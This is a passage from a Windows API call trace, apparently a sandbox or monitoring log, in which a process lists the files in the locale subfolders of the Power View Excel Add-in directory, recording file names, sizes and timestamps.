dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.384] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x718b80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718b80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.384] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x718b80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718b80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.384] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18d43c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18d43c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1920897, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.384] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15a3fea8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f5cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.nl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.385] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15a3fea8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f5cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.nl.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.385] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.387] GetProcessHeap () returned 0xaf0000 [0280.387] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.387] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0280.387] GetProcessHeap () returned 0xaf0000 [0280.387] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\no\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0280.388] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.388] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf18f9628, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15b9737d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.389] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf458770a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45d3b76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.389] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8719376, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.389] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.389] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b71118, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e5d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.no.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.389] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b71118, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e5d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.no.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.389] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0280.390] GetProcessHeap () returned 0xaf0000 [0280.390] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.390] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0280.391] GetProcessHeap () returned 0xaf0000 [0280.391] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pl\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.392] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.392] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7c83c72, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7c83c72, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15b9737d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.392] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4620012, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4620012, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4620012, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.392] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.393] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x231c662, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x231c662, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x231c662, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.393] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b24c93, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b4aee2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x505dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.393] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15b24c93, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b4aee2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x505dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pl.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.393] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.394] GetProcessHeap () returned 0xaf0000 [0280.394] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.394] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0280.394] GetProcessHeap () returned 0xaf0000 [0280.394] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.396] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.396] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc32591f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc32591f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1624bdaa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.397] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cd4a32, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cd4a32, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.397] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x443f20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x443f20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.397] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.397] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15bbd5ad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15cc8628, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f281, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pt.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.397] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15bbd5ad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15cc8628, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f281, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pt.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.397] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.398] GetProcessHeap () returned 0xaf0000 [0280.398] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.398] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0280.398] GetProcessHeap () returned 0xaf0000 [0280.398] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.398] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\pt-PT\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.400] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.400] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc46c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.400] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29f7370, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x29f7370, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.400] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.400] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf475131d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.400] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15be380c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pt-PT.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.401] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15be380c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.pt-PT.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.401] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.404] GetProcessHeap () returned 0xaf0000 [0280.404] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.404] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: 